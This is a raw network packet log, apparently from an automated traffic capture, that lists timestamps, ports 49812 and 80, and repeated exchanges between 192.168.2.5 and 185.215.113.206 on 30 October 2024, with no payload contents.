Oct 30, 2024 18:06:46.770553112 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770554066 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770560026 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770565987 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770571947 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770582914 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770608902 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770632982 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770636082 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770641088 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770652056 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770658016 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770663977 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770669937 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770675898 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770749092 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770775080 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770776033 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770787001 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770806074 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770817041 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770827055 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770829916 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770837069 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770837069 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770857096 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770857096 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770868063 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770878077 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770879984 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770890951 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770900965 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770908117 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770914078 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770915031 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770925999 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770936012 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770940065 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770948887 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770965099 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770972967 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770998955 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771001101 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771009922 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771020889 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771045923 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771068096 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771115065 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771126032 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771136999 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771147966 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771150112 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771150112 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771161079 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771163940 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771173000 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771176100 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771186113 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771198034 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771223068 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771224022 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771244049 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771255970 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771267891 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771276951 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771285057 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771296024 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771303892 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771306992 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771323919 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771331072 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771342039 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771351099 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771353960 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771365881 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771373034 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771388054 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771389008 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771399975 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771410942 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771413088 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771423101 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771434069 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771436930 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771445036 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771456957 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771459103 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771469116 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771473885 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771480083 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771491051 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771497965 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771507025 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771518946 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771678925 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771689892 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771701097 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771716118 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771723032 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771724939 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771728039 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771733999 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771737099 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771747112 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771749020 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771759033 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771769047 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771778107 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771780014 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771792889 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771802902 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771802902 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771817923 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771823883 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771840096 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771842003 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771856070 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771867037 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771877050 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771888018 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771888971 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771898031 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771909952 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771913052 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771923065 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771923065 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771954060 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771969080 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771976948 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.771980047 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.771991968 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772002935 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772008896 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772021055 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772022009 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772028923 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772033930 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772044897 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772047043 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772057056 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772068024 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772068024 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772080898 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772092104 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772092104 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772104979 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772108078 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772118092 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772130013 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772135019 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772146940 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772154093 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772165060 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772167921 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772175074 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772185087 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772186041 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772197962 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772197962 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772214890 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772218943 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772234917 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772238970 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772238970 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772250891 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772264957 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772277117 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772299051 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772352934 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772362947 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772373915 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772384882 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772394896 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772396088 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772406101 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772413969 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772432089 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772437096 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772442102 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772455931 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772464037 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772465944 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772478104 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772489071 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772490978 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772501945 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772504091 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772516012 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772525072 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772525072 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772538900 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772562027 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772567987 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772572994 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772576094 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772583961 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772614002 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772722960 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772733927 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772739887 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772757053 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772768974 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772775888 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772785902 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772790909 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772799015 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772804976 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772810936 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772821903 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772830009 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772834063 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772845030 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772845984 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772859097 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772869110 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772869110 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772878885 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772882938 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772902012 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772906065 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772914886 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772927046 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772927999 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772938013 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772949934 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772953987 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.772960901 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772972107 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.772974968 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773000002 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773022890 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773034096 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773046017 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773056984 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773082018 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773107052 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773116112 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773132086 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773143053 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773154020 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773154974 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773165941 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773166895 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773178101 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773186922 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773189068 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773201942 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773212910 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773220062 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773224115 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773236990 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773237944 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773251057 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773257017 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773258924 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773264885 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773264885 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773272038 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773286104 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773299932 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773339033 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773370981 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773381948 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773390055 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773406029 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773406982 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773417950 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773427963 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773428917 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773442984 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773444891 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773454905 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773463011 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773467064 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773488998 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773495913 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773498058 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773509026 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773519993 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773531914 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773539066 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773545027 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773562908 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773596048 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773628950 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773641109 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773652077 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773663044 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773674011 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773677111 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773686886 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773698092 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773699999 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773714066 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773716927 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773729086 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773741007 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773741961 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773753881 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773766994 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773771048 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773777962 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773789883 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773801088 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773807049 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773812056 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773823023 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773828030 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773835897 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773849010 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773854971 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773859978 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773876905 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773879051 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773895025 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773900986 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773906946 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773910046 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773910999 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773916006 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773921013 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773931980 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.773952007 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.773966074 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.774183989 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774194956 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774204969 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774216890 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774228096 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.774229050 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774240971 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774250984 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774252892 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.774276018 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774276972 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.774291992 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774297953 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.774303913 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774317026 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.774322987 CET	80	49812	185.215.113.206	192.168.2.5
